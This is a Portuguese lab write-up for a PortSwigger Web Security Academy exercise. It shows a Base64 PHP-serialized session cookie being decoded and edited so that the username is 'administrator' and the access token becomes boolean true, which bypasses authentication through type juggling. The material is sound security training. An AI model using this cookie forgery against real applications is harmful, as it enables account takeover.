> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/changing-serialized-data-types.md).

# Alterando tipos de dados serializados

Notas sobre alterando tipos de dados serializados para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Modificando tipos de dados serializados

**Objetivo do laboratório**

Este laboratório usa um mecanismo de sessão baseado em serialização e tem uma vulnerabilidade que permite contornar a autenticação. / O objetivo é modificar o objeto serializado contido no cookie de sessão para acessar a \*\*conta de administrador\*\*, e então excluir o usuário **carlos**.

**Acesso inicial**

Você pode se conectar com as seguintes credenciais:

* **Usuário**: `wiener`
* **Senha**: `peter`

Após a conexão, o servidor retorna um cookie de sessão contendo um objeto serializado codificado em Base64.

**Cookie de sessão obtido**

O cookie de sessão tem o seguinte valor:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**Decodificação básica em Base64**

Após a decodificação, o seguinte objeto PHP serializado é obtido:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

Este objeto representa uma instância da `Usuário` classe com duas propriedades:

* `nome de usuário`
* `access_token`

**Análise comportamental**

* Se uma função `access_token` se o caractere for alterado, o servidor retorna um erro, indicando que esse campo normalmente é validado.
* O `nome de usuário` campo é usado para determinar a função do usuário.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e740fb5c063aaaa92ae962ccbce3b8d18395d477%2F%7B7358AF57-3D07-416F-A880-A933259662B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploração da vulnerabilidade**

**Nome de usuário alterado**/ O valor de `nome de usuário` é substituído por `administrator` ajustando corretamente o comprimento da string (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**Alteração no tipo de dado do token**/ Em vez de fornecer um tipo de cadeia `access_token` (`cadeia de caracteres`), seu tipo é modificado para booleano (`b:1`, equivalente a `true`).

Objeto serializado final:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

Após recodificar em Base64 e inserir no cookie de sessão, o servidor aceita o objeto sem verificar corretamente o tipo do token.

A aplicação então considera a sessão válida para o usuário **administrator**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1bf20d106165a7c30a5e5fec24db2c6c5e80c1b%2F%7B3BDF9086-E532-42FC-AE75-6E1FB6A1F6CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
